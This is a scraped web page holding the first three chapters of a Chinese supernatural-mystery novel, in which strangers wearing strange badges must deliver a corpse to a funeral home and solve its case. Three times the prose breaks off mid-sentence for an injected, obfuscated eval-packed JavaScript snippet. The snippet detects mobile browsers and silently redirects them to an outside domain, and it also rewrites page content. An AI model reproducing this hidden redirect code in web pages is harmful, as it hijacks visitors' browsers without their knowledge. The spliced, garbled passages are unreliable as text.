《线索回溯[无限]》 1. 白华园殡仪馆 姜银砚左手握一支眉笔,右手捏一支削笔刀,站在不知道是哪里的小路边,茫然四顾。 夜色苍茫,星隐月藏,周围蝉鸣蛙絮热闹非凡,可就是不见一个人影。 凉飕飕的夜风吹动姜银砚身上单薄的红蓝色唐风汉服,冷得她禁不住打了个寒噤。 场景转换之前,是早上七点过,姜银砚正在家中卫生间的镜前化妆,为两个小时后的汉服大会做准备。 在一层又一层地打好底妆后,她便准备画眉。 拿起昨天提早削好的眉笔,对镜描画,可就在刚落第二笔时,笔芯却猝不及防地折断。 眼下,手边没有备用的眉笔,姜银砚只好拿起刀子重新削。谁知眉笔刚削到一半,洗漱台凭空出现一枚银色的方形胸针。 她从来不买胸针,住所平常也只有闺蜜赵枝会来,但赵枝和她一样对胸针无感。 姜银砚狐疑又惊奇地拿起胸针一看,只见上面雕刻着十分精致的狴犴图案,款式简单却不失别致。 转到胸针背后,居然清晰地刻着她的名字,姜银砚吓得手一抖,胸针瞬间落到地上,弹进洗漱池下面的空隙里。 正当她弯腰准备捡起那枚奇怪的胸针仔细查看时,卫生间骤然全黑。 姜银砚第一反应是停电,两个月前线路改道也停过电,而且是整整两天。 但那次业主群提前一周就在通知,所以她有准备,而这次物业却一声不吭。 不过,现在不是去询问物业停电原因的时候,妆还差一半化好,时间又不等人,所以她准备去客厅继续化。 一步迈出,落脚却来到这个陌生的地方,手里依然拿着眉笔和刀,姜银砚一低头,却见那枚狴犴胸针竟诡异地别在衣服的左侧。 足足二十秒的懵怔后,姜银砚冲空旷的原野喊:“有人吗?” 回应她的只有青蛙那仿佛不知疲累的“呱呱”叫。 姜银砚不信邪,转身又冲后面喊:“有人在吗?” 这一次,终于有了动静,她听到汽车辘辘行驶的声音。 下一秒,一辆开着远光灯的面包车朝姜银砚驶来。 姜银砚像是看到救星,拼命地朝小车挥手,“停车,停车。” 车速果然缓慢下来,在距姜银砚尚有五六步之远处停下。 姜银砚并未深想司机为什么不直接停在自己面前,只顾欣喜地往驾驶位跑去。 隔着紧闭的车窗,姜银砚看到开车的是个二十岁左右的年轻小伙,他的胸前同样别着一枚狴犴胸针。 车虽然已经停下,但小伙的双手仍然紧紧地握住方向盘,姿势也有明显的僵硬,表情更是古怪,眼睛底下的肌肉时不时地颤抖,目光不停地左右移动,仿佛不敢直视姜银砚。 在无人的地方夜遇身强体壮的陌生小伙,姜银砚的害怕有过之而无不及,不由自主地攥劳削笔刀,这是她目前唯一可以用来防身的武器。 见小伙始终没有摁下车窗的意思,姜银砚只好壮起胆子,轻敲车窗。 小伙却显得很犹豫,两只手在方向盘上面摩来摩去,额头逐渐冒出汗珠。 姜银砚不知就里,又加重力道,再次叩窗,“咚咚咚”。 而这次,小伙竟然被只比刚才稍大一点的叩窗声惊得一激灵,慌慌张张地从衣领里掏出一枚玉质的观音吊坠,双手合十握在掌心,嘴唇快速地翻动。 由于车窗紧闭,良好的隔音让姜银砚听不到他在说什么,只能从小伙的表情判断出他是在害怕。 至于举措,不出意外应该是在求神拜佛。 姜银砚不知道小伙在畏惧什么,也由此导致她更加害怕,鸡皮疙瘩一茬接一茬地冒,恨不能立马晕倒过去,醒来后发现眼前的一切不过是自己做的一场荒诞不经的梦。 但现实是,凉风吹到脸上的清晰感提醒着她,当前突变的处境不大可能是梦。 于是,姜银砚木桩子似的站在车外,也不知道要不要继续叩窗。 而车内,小伙虽然已经停止奇怪的举动,但仍旧没有开窗的意思,两人之间逐渐形成一种奇怪的对峙。 不过,姜银砚没打算放弃,荒郊野岭难得遇到一个大活人,哪有一句话都没搭上就让人走的道理。 正当姜银砚准备再次叩窗时,小伙也有了动作。 只见他颤巍巍地把左手从方向盘挪开,继而放在控窗按钮上,谨慎地将车窗降下只够蚊蝇进出的两厘米缝隙。 而这短短的两厘米,却像是打开了安全防护罩,小伙喉结浮动的幅度明显增大,结结巴巴地问:“你……你是古代的……鬼吗?” 听到小伙的话,姜银砚心脏猛地一缩,越发贴近车门,紧张兮兮地左顾右盼,连舌头都吓得捋不直:“哪……哪里有鬼?你别吓我,我胆儿小。” 小伙指着她身上的汉服,“你……不是古代的鬼?” 姜银砚低头往自己身上一看,这才明白过来,继而愠怒道:“你怎么咒人呢?我看起来像鬼吗?” 小伙一本正经地说:“很像。” 姜银砚气得发指,为证明自己不是鬼,特地走到车灯前,指着身后长长的影子说:“鬼是没有影子的,我有。” 像是觉得影子的证据太过单薄,怕小伙还是不信,姜银砚又回到车窗旁,问他:“你有没有烟?” 小伙被姜银砚问得莫名其妙,“鬼也要抽烟?” 姜银砚咬牙切齿,“你先不管鬼抽不抽烟,你只回答有还是没有。” 看姜银砚一脸严肃,并不像是在跟他闹玩笑,小伙赶忙从裤袋里摸出半盒烟,“有。” 姜银砚指挥道:“点一根。” 小伙依言从烟盒里抽出一根烟,又随手拿起放在杯架内的打火机,将烟点燃后,从车窗打开的缝隙递给姜银砚。 姜银砚将烟倒拈在指间,“鬼吹不动烟,人才能,你看好了啊。” 说完,姜银砚对着那一缕袅袅升腾的烟“呼”地吹出一口气,轻烟瞬间折腰。 姜银砚看向小伙,“这下你该信我了吧。” 小伙紧绷的神情霎时舒开,狠喘了几口气后,终于将车窗全部摇下,心有余悸地说:“你可把我吓得不轻,好端端的,你干嘛把自己的脸抹成这样,白得跟鬼似的。” 语气里含有几分明晃晃的埋怨。 “我怎么了?”姜银砚狐疑地往后视镜一照,看到镜子里那张惨白的脸时,当场给自己一阵吓,连忙扭过头,直拍心口,“吓死我了,吓死我了。” 因唐妆讲究色彩浓重,所以底妆必须要白,而姜银砚刚打好底妆,还没来得及描彩,却无端来到这个前不着村后不着店的鬼地方,加上又身穿汉服,便导致小伙误以为她是古代的鬼。 弄清原委后,姜银砚哭笑不得地给小伙解释:“我那是因为要去参加汉服会,妆才化到一半,就莫名其妙到了这里,我都还没整明白是怎么回事。” 一番话让小伙像是找到知音,神色明显激动起来,“我也是,我是个大学生,和寝室哥们儿在网吧上完通宵准备回去睡觉,刚到宿舍楼下,一枚胸针从天而降掉到我面前。我把它捡起来,再抬头,面前的宿舍消失了,周围的同学也不见了,只有一辆插着钥匙的面包车。” “我上学期才刚到拿驾照,还手生的很,硬着头皮摸了方向盘,开着车边走边找路,直到在这里遇到你。话说回来,刚看你那样儿,我还真以为见鬼了。” “同是天涯沦落人啊。”姜银砚由衷地感叹过后,又跟小伙商量:“把副驾驶的车门按开吧,我们搭个伴。” 小伙想也不想就答应:“那感情好啊。” 革命的友谊就此建立。 “嘭”,关上车门,姜银砚坐在副驾位,系好安全带,长舒一口气后,留意到座椅后面安装着一块将面包车前后无缝隔开的板子。 她用手敲了敲,隔板发出“空空”的声响,便问小伙:“车里怎么有一块隔板?” 小伙两手一摊,“我也不知道。” 姜银砚没有再注意隔板的事,转而研究起胸针,“这是个什么鬼胸针啊?还刻着我的名字。” 姜银砚试图把胸针从衣服上摘掉,小伙却说:“别白费劲了,我什么办法都试过,这鬼胸针就像是长在了衣服上,根本取不下来。” “有这么邪门儿?”姜银砚不信邪地鼓捣了几次,发现的确取不下来,也就暂且作罢,转而问小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419447|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙:“这到底是哪里啊?要不是看到你,我都要以为我是在做梦。” 小伙积攒半晌的怨气像是终于找到宣泄口,不满的情绪一触即发:“谁说不是,我还跟寝室的哥们儿约了今晚继续打通宵,还发誓谁放鸽子谁当孙子。现在骂死我都是轻的,无端让我多了几个爷爷,我找谁说理去?” 一想到期待已久的汉服大会可能因此泡汤,姜银砚也忍不住怨言喋喋:“我今天特地起了个大早,要去参加杏北公园的汉服会,现在这么一耽搁,肯定来不及了。” 两人你一句我一句的抱怨被一通突如其来的电话铃声打断,但二人你看我,我看你,谁也没有要接电话的意思。 姜银砚看小伙不动,便提醒他:“你手机在响。” 小伙却讶异地说:“不是我的手机,我手机落宿舍了,应该是你的吧。” 姜银砚清楚记得自己的手机放在客厅充电,不过为稳妥起见,她还是翻了一下斜跨在身前的流苏缎包,里面没有手机,因而纳闷起来:“可是我的手机也没带在身上啊。” 既然两人的手机都没在身上,那么现在响起的电话铃声是…… 二人相视一眼,表情逐渐惊恐,异口同声地问:“那是谁的手机在响?” 紧跟着,两人无头苍蝇似的开始在车里到处乱翻,最后是姜银砚循着声音打开了二人中间的扶手箱才发现手机。 姜银砚毫不犹豫地把手机塞给小伙,“你接。” “我不接,你接。”小伙又把手机丢回给姜银砚。 姜银砚再次把手机塞给小伙,“我胆儿小,我不敢接,还是你接。” “我不行,我也怕。”小伙继续把手机丢给姜银砚。 铃声响个不停,在当前不知所以的境况里活似一道催命音。 那部手机就像烫手似的,被两人丢来丢去,最终还是小伙在姜银砚的鼓励下握住手机,胆战心惊地按下接听键,同时打开外放:“喂!” “傅平湘。”对面那一嗓子暴吼将两人吓得一哆嗦,小伙更是连手机都险些没拿住。 听声音是个男的,语气极度不耐烦:“大半天不接电话,你是不是又睡着了?” 小伙声音颤抖地问:“你……你是谁?” 对面的人先是愣了一秒,随即破口大骂:“你给我滚犊子,成天就知道睡觉,赶明儿连爹妈是谁都不知道了。” 无缘无故地被臭骂一顿,小伙不知所措地看向姜银砚,而姜银砚只比他更迷乱。 因为实在受不了对方无休止的漫骂,姜银砚小心翼翼地开口:“请问,你找傅平湘有什么事吗?” 对面气愤地说:“约好十一点半把尸体送到殡仪馆,这马上都十二点了,还没有看到他人。” “尸体?”姜银砚目瞪口呆。 小伙更是被骇得一怔,凑近手机,“尸……尸体在哪?” 一听此话,对面语气愈加不好:“出发前就跟你确认过,已经把尸体装车,你现在倒跟我充起楞来。你就说是不是不想干了,不想干就趁早滚蛋,别给老子整这出。” 小伙不由得浑身冒冷汗,“你是说……尸体已经装在车里了?” 听到这话,对面像是被突然踩到尾巴的猫,登时暴躁如雷:“傅平湘,你踏马是不是想辞职?限你半个小时内把尸体送过来,不然上个月的工资别想要了。” “嘟嘟嘟……” 电话被无情地挂断。 小伙满眼惊恐地看向姜银砚,面色铁青,“我……我的确叫傅平湘,但是他说的事,我压根儿不知道。” 姜银砚感觉四肢已经僵硬得不听使唤,未免是自己因今夜突发变故而惊吓过度导致出现视听上的幻觉,于是向傅平湘求证:“他刚才是不是说,车里装着一具尸体?” 傅平湘语气不确定地说:“好像……是。” 刹那间,一股寒意从姜银砚的脚底霍然蹿到天灵,她压抑住内心的恐惧,表情冷静地问:“你不介意我现在大叫一声吧?” 傅平湘充分理解姜银砚的感受,“我不介意,你叫吧。” 下一秒,“啊……” 姜银砚和傅平湘撕心裂肺的尖叫声同时爆响。 2. 白华园殡仪馆 一分钟后,姜银砚和傅平湘双双蹲在路边。 短暂的沉默后,傅平湘提议:“要不……你去看看后面是不是有尸体?” 颓丧的姜银砚听到这话立马精神起来,一口回绝:“我不去,你去。” 被拒绝后,傅平湘没有放弃,而是决定改变策略,先是问:“你叫什么名字?” 姜银砚不疑有他,随口回答:“姜银砚。” 傅平湘继续问:“你多大?” 姜银砚依然没有防备,老实回答:“24。” 长着一张可爱包子脸的傅平湘立马装出一副小鸟依人的模样,往姜银砚肩头一靠,扭捏作态地撒娇:“我今年21,姜姐姐比我大,尊老爱幼是传统美德,所以姐姐去。” 姜银砚鄙夷地“嘁”他一声,“光让我爱幼了,那你怎么不尊一下老?” 傅平湘眨巴着眼睛,“姜姐姐老吗?” 表情无辜,言语却十分欠揍。 “你给我滚。”姜银砚毫不留情地推开傅平湘的脑袋,揶揄道:“我看你脸皮比我厚,刀枪不入,鬼都害怕,所以该你去。” “姐姐欺负人。”傅平湘一边继续装委屈,一边从裤兜里掏出烟盒,取出一支烟,在点烟之前,先礼貌地问姜银砚:“姐姐要来一根么?” 姜银砚摆手,“你自己慢慢抽。” 傅平湘用从面包车里带出的白色塑料打火机点燃烟,坐在姜银砚身边吞云吐雾。 “咳咳……”姜银砚被飘来的烟呛到咳嗽。 傅平湘立刻将刚抽两口的烟摁进土里,“姐姐闻不得烟味怎么不说?” 姜银砚不以为意地道:“小事情。” 弥天的黑暗里,视线都难以聚焦。 姜银砚目光虚投远处,愁眉锁眼地说:“现在才十一点过,离天亮还有五六个小时。” 无聊的傅平湘用手拨弄路边的野草,“如果玩游戏,五六个小时也就是一眨眼的事。” “都这种时候了还想着玩游戏,你行不行啊小兄弟?”姜银砚莫名觉得火大。 傅平湘蹲得腿麻,索性坐下,“我不仅喜欢玩游戏,还喜欢唱歌,我给姐姐唱首歌听。” 还没等姜银砚拒绝,傅平湘已经开嗓:“姜银砚……是个胆小……鬼……” 才唱一句,姜银砚的拳头已经落到傅平湘的肩膀上,“滚蛋吧你。” 两人打闹得正起劲时,姜银砚不经意瞥见傅平湘放在地上的打火机无端蹿出一簇蓝色的火苗,转瞬又熄灭。 “奇怪。”姜银砚当即停止打闹,拿起打火机观察。 “什么奇怪?”傅平湘不明所以。 姜银砚:“打火机。” 傅平湘偏头看打火机一眼,“不就是一只普通的打火机么,两块钱一只,到处都买的到。” 姜银砚摇头,“不是这个问题。” “咔”,姜银砚摁下打火机,意外的是竟然没有点着,甚至连火花都不见冒,将打火机举高,从透明底部可以看到里面还剩一大半的气。 “咔”,姜银砚再次摁下打火机,出火口倏忽冒起一株幽蓝的火苗,像极磷火。 几乎同一时间,姜银砚恍然看到五六步开外出现一个披头散发、身穿蓝白相间条纹病服的背影,且那背影正在缓缓转身。 突如其来的惊悚画面使姜银砚心脏一抖,想也不想就把打火机往前一丢,蓝色火焰随之熄灭。 怪异的是,在蓝火熄灭的同时,那个背影也消失不见。 傅平湘余光瞥见姜银砚突然把打火机丢到前面的草丛里,又看她表情像是受到惊吓,忙问:“你怎么了?” 姜银砚心脏剧烈地跳动,她死死抓住傅平湘,着急地问:“你看到没有?” “看到什么?”傅平湘不知其所云。 姜银砚周身寒毛倒竖,吞了吞舌头,“一个穿病服的女人。” 听到姜银砚的话,傅平湘马上环视一周,可入目之物只有无尽的黑暗,并不见什么女人,“没有啊,我什么都没看到,你是不是眼花了?” 姜银砚怯怯地望向刚才背影出现的地方,果真空无一物,逐渐冷静下来后,也开始怀疑是不是自己眼花,可那个古怪的背影却又像是印在脑中一样,挥之不去。 夷由片刻,姜银砚决定再验证一次,但打火机刚刚已经被自己丢到草丛里,此时的她断断不敢去捡,目光瞥到身旁的傅平湘,自然而然把主意打到他的头上。 于是,姜银砚一改先前对傅平湘纵意打骂的态度,温言软语地道:“平湘啊,你去帮我把打火机捡回来吧。” 傅平湘眼睛微微眯起,“有诈”二字明晃晃挂在唇边眼角,头一歪,单手支腮,气定神闲地盯着姜银砚,“姜姐姐,你这是在训狗呢?” 姜银砚心虚地挺起脖子,“谁把你当狗了?我都言明是请你帮忙,别以己度人好么。” 傅平湘破天荒没回嘴,慢条斯理地站起身,拍拍裤子,露出一个和善的笑,“我现在就弘扬一下传统美德,尊敬老人,去给你捡。” 姜银砚禁不住捏紧拳头,但强忍住没发作,并虚情假意地夸赞:“真是乖巧懂事。” 傅平湘从草丛里把打火机捡回来交给姜银砚时,她忽然神情严肃地说:“刚刚就是在打火机冒出蓝色火焰的时候,那个背影才出现的。我现在准备再试一次,所以等下你好好看着,别眨眼。” 傅平湘当即用手把上下眼皮撑开,郑重承诺:“我保证不眨眼。” 姜银砚深吸一口气,“咔”,打火机又一次冒出蓝色火苗,而姜银砚的视线里也再次出现那个披头散发的背影。 而这一次,背影的动作明显加快,不过一个眨眼功夫,已经转过身来,露出一张双目紧闭、浑无血色的白面。 生怕那张脸下一秒就睁开一双血红的眼睛,姜银砚瞬间松开手指,拉住傅平湘,“看到了吗?这下看到了吗?” 傅平湘依然保持着撑眼的姿势,环顾左右,“没有啊,我什么都没看到啊。” “你看不到?”姜银砚对此感到窒息。 傅平湘放下手,“我真的不骗你,什么都没有看到。” 看傅平湘的表情不像是在骗人,姜银砚非常郁闷,“为什么我能看到?” 傅平湘猜测:“没准儿是打火机在谁手里,谁才能看到。你把打火机给我,我来试试。” 姜银砚思觉有理,便把打火机交给傅平湘。 “咔”,一声响后,打火机在傅平湘手里冒出的却不是蓝色火苗,而是正常的橘火。 “咔咔咔……”,傅平湘又连试数次,结果都一样。 傅平湘仔细观察打火机,又实在看不出有什么异样,他大惑不解:“这就奇怪了。” 姜银砚又紧张又好奇地搓手,“要不……让我再试一次?” 傅平湘一副看热闹不嫌事大的态度,想也不想就把打火机塞给姜银砚,“好主意。” “我换个方向。”姜银砚身子一转,面朝前路,再次按下打火机。 汽车远射的灯光里,冷不丁出现一个人影,并快步朝他们所在的方向走来。 “啊!”傅平湘一声惊叫,缩到姜银砚背后,“我看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419448|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有个人。” “不对啊。”姜银砚看着出火口的橘色火苗,又望向那个走来的身影,照身形来看,显然不是先前出现的病服女人,不禁喃喃问:“到底怎么回事?” 傅平湘则麻利地把玉观音合在掌心,开始拜天拜地,像只麻雀似的念念叨叨:“恳求如来佛祖、观世音菩萨、十八罗汉、太白金星……保佑弟子平安无事,弟子回去以后一定珍惜粮食,珍惜空气,阿弥陀佛……” 姜银砚目不转睛地盯着那个走来的人,也不知是从哪里冒出的胆气,竟鬼使神差地张口问:“来者何人?” 那人似乎顿了一下,旋即应话:“霍闻川。” 姜银砚警惕地问:“是人是鬼?” 霍闻川声气清和:“人。” 姜银砚顿时舒出一口气,随即用手肘杵了杵身后神神叨叨的傅平湘,“别念了,是人。” 听到来的是人后,傅平湘立马态度大转,从求神拜佛变成骂骂咧咧:“熊孩子,吓死人不偿命,给爷爷这一顿害怕。” 姜银砚起身望向霍闻川,随着他越走越近,样貌也逐渐清晰。 最终,站在姜银砚面前的是一名二十来岁的年轻男子,面皮白净,双瞳清澈如山泉,身穿一套纯白色的休闲服,脚上是一双黑色运动鞋,左手腕戴一块黑色的运动手表,头上留着七八十年代男星的经典发型。 虽然早已过时,但搭配霍闻川那张不逊于当下任何一名奶油小生的脸,却分外得宜,没有半点土气。 况且,他额顶还有一个好看的美人尖。 霍闻川近前后,姜银砚和傅平湘齐齐起身,率先看向他的衣服,左胸处同样别着一枚狴犴胸针。 姜银砚指了指他身前的胸针,“你也是因为捡到胸针才来到这儿的吗?” 霍闻川:“嗯,这是我进的第四个案子。” “第四个案子?”姜银砚和傅平湘一脸茫然,完全听不懂霍闻川的话。 霍闻川耐心解说道:“我们现在身处的地方是完全脱离于现实世界的存在,由诸多凶案组成的迷案之地,你们可以将这里当成是真人的游戏世界。” 两人听得一头雾水,姜银砚面带微笑地问:“闻川小哥,可以麻烦你说得通俗一点吗?” 霍闻川不答反问:“看不看探案片?” 姜银砚和傅平湘齐刷刷点头。 霍闻川语气温柔地解释:“凡是来到迷案之地的人,在获得狴犴胸针的那一刻,就已经成为灵异侦探组的组员,类似于私家侦探,狴犴胸针即是灵探组的徽章。我们所要做的是,找出案件中亡者的死因。但有一点,迷案之地的死者不是冰冷的尸体,而是亡者之灵。” “啥是亡者之灵?”傅平湘一时没反应过来。 姜银砚却是听懂了,害怕地干咽一口,“通俗地讲,就是……鬼。” 傅平湘吓得惊声大叫:“什么?这里还有鬼?” 恐惧之下,身高167的姜银砚和身高175的傅平湘一人抱紧霍闻川一条胳膊。霍闻川身高186,令姜银砚和傅平湘看起来就像是他身上的两个巨型挂件。 霍闻川任由两人挂在自己身上,一动不动,“在每一桩案件开始的时候,灵探组必须先找到灵物,通过灵物召唤出亡者之灵,才能推进后续的发展。” 姜银砚猛地想起先前那惊魂的一幕,颤巍巍举起打火机,幽幽地说:“我刚刚点着打火机的时候,看到一个穿病服的女人,是鬼吗?” “是。”霍闻川给予肯定的回答。 “啊……”姜银砚和傅平湘又是一阵震耳欲聋的尖叫。 3. 白华园殡仪馆 耐心等待姜银砚和傅平湘喊完后,霍闻川像个勤勤恳恳的老师,继续给二人解说:“在迷案之地,破案是活命的根本,不遵守规则和案件未侦破的后果都是死亡。而这个结果会直接延伸到现实世界,死于迷案之地的人在现实世界里将以毫无疑点的方式死去。” 傅平湘骇得直接爆粗口:“草,这么吓人。” 相比之下,姜银砚倒显得挺淡定,甚至提醒傅平湘:“注意素质。” 霍闻川扫一眼旁边的面包车,“我需要知道你们从来到这个地方后遇见的所有事。” 姜银砚和傅平湘异口同声地说:“我先说。” 话一出,二人立马互相嫌弃地侧睨对方,才建立不久的革命友谊顷刻间摇摇欲坠。 傅平湘根本不给姜银砚争夺的机会,张口就滔滔不绝地跟霍闻川哭诉自己的遭遇,也顺带把姜银砚的遭遇一起说了。 末了,傅平湘看向姜银砚,“好了,我说完了,你说吧。” 姜银砚当场翻他一记白眼,“你倒是剩点儿给我说。” 话音刚落,姜银砚冷不丁“呀”了一声。 傅平湘一脸紧张地看向姜银砚,“你别吓我,我胆儿小。” 姜银砚摊开手,将打火机递到两人眼前,“刚才明明没有字的,现在出现了字。” 霍闻川一字一顿地念出声:“白华园殡仪馆。” “嘶”,傅平湘抱住自己的胳膊搓了搓,“连个两块钱的打火机也这么诡异。” 姜银砚将打火机翻了一个面,只见背面也有变化,出现一小幅简笔地图,路线清晰,标注明了,终点处以红圆为示。 傅平湘伸长脖子凑近看,“怎么还有地图?” 霍闻川猜测说:“应该是去白华园殡仪馆的地图。” “殡仪馆,”姜银砚瑟瑟发抖地问:“我们要去吗?” 霍闻川语气肯定:“那通电话已经给出第一个任务,把尸体送到殡仪馆,所以我们必须要去。” 说罢,霍闻川举步走到面包车的客座门外,“哗”地一下拉开车门,“先确认一下车里有没有尸体。” 姜银砚和傅平湘都站在原地不动,两人长这么大从来没有见过尸体,胆怯地不敢近前。 傅平湘长颈鹿似的伸长脖子,“霍大帅哥,打电话的那个人是npc吗?” “可以这么理解。”霍闻川从裤兜里拿出一只小巧的手电筒,上半身探进车里,打亮手电,一番查视后,回头对二人说:“有一具男尸。” 姜银砚倒抽一口凉气,“把尸体送到殡仪馆就算通关了吗?” 霍闻川:“不算。” 姜银砚又问:“如果不送会怎么样?” 霍闻川不动声色地说:“被同化成迷案之地的一员,或许是亡者之灵,或许是npc,也或许是无关紧要的路人。” 姜银砚当即推了傅平湘一把,声音急促地说:“傅平湘,快开车,我们马上去殡仪馆。” “我我我……,”傅平湘已经吓得无颜落色,“我现在就去。” 姜银砚和傅平湘一前一后地坐进车里,傅平湘把打火机攥在手中,将印有地图的一面对向自己,双眼直视前方。 站在车外的霍闻川看傅平湘神情紧绷,便问:“你有把握吗?没有把握的话可以让我来开。” 傅平湘坐得无比端正,两手牢牢地抓紧方向盘,像是怕被人抢去一样,“前面就两个位置,姜银砚肯定是要坐前面的,我胆儿小,打死也不敢跟尸体待一块儿,还是我来开。” 霍闻川嘴唇动了动,欲言又止,沉吟片刻后,只叮嘱了一句:“你当心点。” 听到后面推拉门“哗”的一声响毕,傅平湘开始踩油门。 姜银砚看到傅平湘一边开车,一边看地图,紧张得额头直冒汗,整个人像是一根绷紧的弦,她果断把打火机拿过来,“我来看地图,你专心开车。” “我怕的要死。”傅平湘抬手抹了把汗,片刻也不敢分神。 姜银砚右手牢牢地攥住打火机,望着黑漆漆的前路,“我也一样。” 根据地图的标示,行驶了大约二十分钟后,灵车停在一间老旧的殡仪馆大门前。 将车停稳后,傅平湘沉沉地吐出一口气,整个人几乎瘫倒在座位上,“呼!终于到了。” 最先下车的是霍闻川,其次是姜银砚。 姜银砚一下来便看到霍闻川弓腰扶在车门旁,右手按住胸间位置,看上去似乎很难受。 “霍闻川,你怎么了?”姜银砚快步走到他身旁,却看到他脸上血色全失,当即以为是车里闹鬼才把霍闻川吓成这样,姜银砚二话不说抓住他手臂,把人往后一带。 霍闻川猝不及防地被姜银砚这么一拉,险些跌倒在地,待站稳后,他一头雾水地问:“怎么了?” 姜银砚小声地问:“里面是不是有鬼?” 霍闻川摇头,“没有。” 姜银砚诧异,“那你的脸色怎么这么苍白?” “阿砚别担心,我一直有晕车的毛病,如果不是自己开,就容易犯晕。”霍闻川的微笑令人如坐春风。 “你没事就好。”姜银砚回以一笑,而后转移视线,投向面前的殡仪馆。 殡仪馆的外观非常简陋,围墙外贴的白色瓷砖有多处脱落,一片片的水泥面夹在反光的白砖里,像是老人缺落的牙齿。 大门口亮着两盏圆罩灯,月白的灯光将“白华园殡仪馆”五个黑底白字的挂墙漆面竖招牌照得铮亮。 两扇生锈的铁门向内敞开,每一扇铁门后都站着一个无头假人。 两个假人虽然身穿一样的服装,但凭身形判断,左边的是男性,右边的是女性。 这一幕简直太过诡异,把姜银砚看得心里直发毛。 殡仪馆里面漆黑一片,且又悄然寂静,像是无人在内。 另因殡仪馆的特殊性,阴森感特别浓郁,令人身临其中时,恐惧感由之加重,注意力也在不知不觉间变得非常集中。 傅平湘下车后,一眼就看到铁门里的两个假人,吓得一个后趔,“哎哟,好吓人。” 赶紧跑到姜银砚身旁,紧挨着她。 姜银砚左右一看,“灵探组就只有我们三个人吗?” 还没等霍闻川回答,殡仪馆右侧外的小路便走来两男一女。 女生是个年轻小姑娘,身穿一条碎花连衣裙,左肩挂一只可爱的红色皮质小包,头发扎成一束马尾,警惕地东张西望。 和姑娘并肩而行的是一个二十五六岁的男生,上身穿一件格子衬衫,下身是宽松的深色牛仔裤,除开一双转动的眼珠,整张脸像是定格画面,乍一看似乎面无表情,足够冷静,但紧张感早已被僵硬的肢体行动出卖。 两人后面走姿散漫的男人看上去大概三十来岁,穿一身沙滩衣,左臂有一整条龙纹身,领口挂一副墨镜,右手戴一只金表,脚上穿一双人字拖,沾满黄色的细沙,像是刚从沙滩过来。 三人的衣服上都别着一枚狴犴胸针,相对于前面两人的紧张,后面的纹身男却悠闲得仿佛是在度假。 纹身男在看到一脸白又身穿汉服的姜银砚时,当场咧嘴大笑,“哈哈哈,谁家请来唱戏的?涂个大白脸,扮的是鬼吧?哈哈哈哈……” 听到纹身男对姜银砚出言不逊,傅平湘立马跳出来鸣不平:“你长没长眼睛?这是汉服,你个土鳖。” 纹身男顿时笑转怒,“你骂谁土鳖?” 傅平湘指着纹身男的鼻子:“骂的就是你,大土鳖。” 姜银砚本着息事宁人的态度,劝傅平湘:“好了好了,破案要紧,我们不管他。” “你,”霍闻川冷不丁开口,语气夹着冰冷和要挟:“向姜小姐道歉。” 姜银砚惊讶地看向霍闻川,只见他眼神已不似先前柔和,隐约还压着怒意,颇有一腔“路见不平一声吼”的英勇。 纹身男不屑一哼:“你是什么东西?” 霍闻川猛地抓住纹身男的头发,动作十分迅利,拖着人就要往殡仪馆的墙上撞。 见势不对,姜银砚急忙喊道:“霍闻川,不要。” 霍闻川果真停下,手却没有松开,嘴里重复着那句话:“向姜小姐道歉。” 纹身男被霍闻川突如其来的举动吓傻,当场势软,再不犟嘴,双手抱头,连连道歉:“对不起,对不起,是我的错,我嘴欠。” 霍闻川这才终于放开手,而后从兜里取出一张叠得十分方正的蓝格纹手帕,将手仔细地擦拭一遍,十足的嫌弃。 “哇哦,”傅平湘一脸崇拜,“霍大帅哥,你就是我的偶像,我的superstar,我唯一的神话。” 霍闻川走回姜银砚身旁时,姜银砚小声对他说:“吓我一跳,我还以为你要动真格。” 霍闻川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419449|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手帕重新叠好,放回兜里,又恢复初始的温和,认真地说:“是动真格。” 一旁的碎花裙女生已经看出纹身男不是个善茬,果断跑到姜银砚三人面前,态度友好地说:“你们好,我叫郑暧,格子衬衫的小哥叫蒲耀,穿花衬衫的大哥叫孙田,我们三个是在路上遇到的。你们知道这里是什么地方吗?我现在好懵。” 这时,殡仪馆里面正对铁门的大厅忽然亮起灯,一个身材微胖的男人从里面走出来。 待男人走近后,姜银砚看到他胸前没有别狴犴胸针,而是一只名牌,上面写着:王齐东,白华园殡仪馆馆长。 王齐东用管事人的口吻给六人布置工作:“今天晚上,你们的工作是搭灵堂,然后把车里的尸体搬进去。住宿的地方在二楼,一人一间,工作完成后就上二楼休息,天亮之前不要离开房间。” 最后一句话,语气略有加重。 